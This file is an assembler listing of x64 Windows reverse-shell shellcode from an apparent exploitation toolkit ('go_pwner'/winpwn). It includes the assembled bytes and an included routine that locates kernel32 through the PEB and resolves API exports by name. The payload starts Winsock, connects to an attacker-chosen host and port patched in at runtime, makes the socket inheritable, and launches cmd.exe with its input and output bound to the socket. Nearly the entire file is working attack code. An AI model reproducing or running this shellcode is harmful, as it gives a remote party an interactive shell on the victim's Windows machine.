Files
go_pwner/shellcode/asm/reverse_shell_x64.lst
T
2026-07-18 21:37:15 +03:00

338 lines
23 KiB
Plaintext

1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
3 ; redirected to the socket. The classic Windows reverse-shell primitive.
4 ;
5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
8 ; constants since they never change.
9 ;
10 ; Real gotcha, worth recording here since it's easy to miss and the
11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable
13 ; by default on modern Windows (a hardening change from the days when
14 ; every handle was inheritable by default). bInheritHandles=TRUE on
15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
16 ; specific socket handle as inheritable first, or the child simply doesn't
17 ; get a usable copy of it no matter what STARTUPINFOA says.
18 BITS 64
19 default rel
20
21 start:
22 00000000 55 push rbp
23 00000001 4154 push r12
24 00000003 4155 push r13
25 00000005 4889E5 mov rbp, rsp
26 00000008 4883E4F0 and rsp, ~0xF
27
28 0000000C E8EB010000 call get_kernel32_base
29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine
30
31 ; WSAStartup(0x0202, &wsadata_buf)
32 00000014 4C89E1 mov rcx, r12
33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32]
34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup]
35 00000025 E877020000 call resolve_export
36 0000002A B902020000 mov rcx, 0x0202
37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf]
38 00000036 4883EC20 sub rsp, 0x20
39 0000003A FFD0 call rax
40 0000003C 4883C420 add rsp, 0x20
41
42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
43 00000040 4C89E1 mov rcx, r12
44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32]
45 0000004A 4C8D05DD020000 lea r8, [rel name_socket]
46 00000051 E84B020000 call resolve_export
47 00000056 B902000000 mov rcx, 2
48 0000005B BA01000000 mov rdx, 1
49 00000060 41B806000000 mov r8, 6
50 00000066 4883EC20 sub rsp, 0x20
51 0000006A FFD0 call rax
52 0000006C 4883C420 add rsp, 0x20
53 00000070 4989C5 mov r13, rax
54
55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
56 ; -- see the file header: without this, the child below can't actually
57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
58 00000073 4C89E1 mov rcx, r12
59 00000076 4831D2 xor rdx, rdx
60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation]
61 00000080 E81C020000 call resolve_export
62 00000085 4C89E9 mov rcx, r13
63 00000088 BA01000000 mov rdx, 1
64 0000008D 41B801000000 mov r8, 1
65 00000093 4883EC20 sub rsp, 0x20
66 00000097 FFD0 call rax
67 00000099 4883C420 add rsp, 0x20
68
69 ; connect(sockfd, &sockaddr_buf, 16)
70 0000009D 4C89E1 mov rcx, r12
71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32]
72 000000A7 4C8D0587020000 lea r8, [rel name_connect]
73 000000AE E8EE010000 call resolve_export
74 000000B3 4C89E9 mov rcx, r13
75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf]
76 000000BD 41B810000000 mov r8, 16
77 000000C3 4883EC20 sub rsp, 0x20
78 000000C7 FFD0 call rax
79 000000C9 4883C420 add rsp, 0x20
80
81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
84 000000CD 4881ECE0000000 sub rsp, 0xE0
85
86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0
87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0
88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0
89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0
90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0
91 00000101 48C744247800000000 mov qword [rsp+0x78], 0
92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0
92 00000113 000000
93 00000116 48C784248800000000- mov qword [rsp+0x88], 0
93 0000011F 000000
94 00000122 48C784249000000000- mov qword [rsp+0x90], 0
94 0000012B 000000
95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0
95 00000137 000000
96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0
96 00000143 000000
97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0
97 0000014F 000000
98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0
98 0000015B 000000
99
100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
101 0000016F 0000
102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96)
105
106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
107 00000189 4C89E1 mov rcx, r12
108 0000018C 4831D2 xor rdx, rdx
109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa]
110 00000196 E806010000 call resolve_export
111 0000019B 4989C6 mov r14, rax
112
113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL
114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL
116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL
117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
121 000001D2 488D442450 lea rax, [rsp+0x50]
122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si
123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8]
124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
125 000001E9 41FFD6 call r14
126
127 000001EC 4881C4E0000000 add rsp, 0xE0
128 000001F3 4889EC mov rsp, rbp
129 000001F6 415D pop r13
130 000001F8 415C pop r12
131 000001FA 5D pop rbp
132 000001FB C3 ret
133
134 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000217 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 00000218 4154 <1> push r12
36 0000021A 4155 <1> push r13
37 0000021C 4156 <1> push r14
38 0000021E 4157 <1> push r15
39 00000220 56 <1> push rsi
40 00000221 57 <1> push rdi
41 00000222 53 <1> push rbx
42 <1>
43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000237 4C01E0 <1> add rax, r12
50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 00000259 4939DF <1> cmp r15, rbx
64 0000025C 7D34 <1> jge .notfound
65 <1>
66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 00000262 4C01E0 <1> add rax, r12
68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 0000026B 8A06 <1> mov al, [rsi]
73 0000026D 8A0F <1> mov cl, [rdi]
74 0000026F 38C8 <1> cmp al, cl
75 00000271 750C <1> jne .next
76 00000273 84C0 <1> test al, al
77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match
78 00000277 48FFC6 <1> inc rsi
79 0000027A 48FFC7 <1> inc rdi
80 0000027D EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 0000027F 49FFC7 <1> inc r15
84 00000282 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 0000028D 4C01E0 <1> add rax, r12 ; absolute address
90 00000290 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 00000292 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 00000295 5B <1> pop rbx
97 00000296 5F <1> pop rdi
98 00000297 5E <1> pop rsi
99 00000298 415F <1> pop r15
100 0000029A 415E <1> pop r14
101 0000029C 415D <1> pop r13
102 0000029E 415C <1> pop r12
103 000002A0 C3 <1> ret
104 <1>
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
107 <1> ;
108 <1> ; find_export alone only works if the target module is *already* loaded
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
111 <1> ; (the function is assumed already loaded at the module base in RCX).
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
115 <1> resolve_export:
116 000002A1 4154 <1> push r12 ; kernel32 base
117 000002A3 4155 <1> push r13 ; dll name ptr (or 0)
118 000002A5 4156 <1> push r14 ; func name ptr
119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
120 000002A8 4889E5 <1> mov rbp, rsp
121 000002AB 4883E4F0 <1> and rsp, ~0xF
122 <1>
123 000002AF 4989CC <1> mov r12, rcx
124 000002B2 4989D5 <1> mov r13, rdx
125 000002B5 4D89C6 <1> mov r14, r8
126 <1>
127 000002B8 4D85ED <1> test r13, r13
128 000002BB 750D <1> jnz .need_loadlibrary
129 <1>
130 000002BD 4C89E1 <1> mov rcx, r12
131 000002C0 4C89F2 <1> mov rdx, r14
132 000002C3 E850FFFFFF <1> call find_export
133 000002C8 EB36 <1> jmp .resolve_done
134 <1>
135 <1> .need_loadlibrary:
136 000002CA 4C89E1 <1> mov rcx, r12
137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
138 000002D4 E83FFFFFFF <1> call find_export
139 000002D9 4885C0 <1> test rax, rax
140 000002DC 741F <1> jz .resolve_fail
141 <1>
142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
144 000002E5 FFD0 <1> call rax
145 000002E7 4883C420 <1> add rsp, 0x20
146 000002EB 4885C0 <1> test rax, rax
147 000002EE 740D <1> jz .resolve_fail
148 <1>
149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
150 000002F3 4C89F2 <1> mov rdx, r14
151 000002F6 E81DFFFFFF <1> call find_export
152 000002FB EB03 <1> jmp .resolve_done
153 <1>
154 <1> .resolve_fail:
155 000002FD 4831C0 <1> xor rax, rax
156 <1>
157 <1> .resolve_done:
158 00000300 4889EC <1> mov rsp, rbp
159 00000303 5D <1> pop rbp
160 00000304 415E <1> pop r14
161 00000306 415D <1> pop r13
162 00000308 415C <1> pop r12
163 0000030A C3 <1> ret
164 <1>
165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
165 00000314 72794100 <1>
135
136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0
136 00000321 6C00
137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0
137 0000032C 7000
138 0000032E 736F636B657400 name_socket: db "socket", 0
139 00000335 636F6E6E65637400 name_connect: db "connect", 0
140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0
140 00000346 496E666F726D617469-
140 0000034F 6F6E00
141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0
141 0000035B 636573734100
142
143 ; lpCommandLine must point at writable memory (CreateProcessA may modify
144 ; it in place) -- fine here since shellcode bytes live in a writable page
145 ; wherever they landed, same as every other template's embedded buffers.
146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
146 0000036A 000000000000
147
148 align 8
149 wsadata_buf:
150 00000370 00<rep 200h> times 512 db 0
151
152 align 8
153 sockaddr_buf:
154 00000570 0200 dw 2 ; sin_family = AF_INET
155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order)
156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order)
157 00000578 0000000000000000 dq 0 ; sin_zero[8]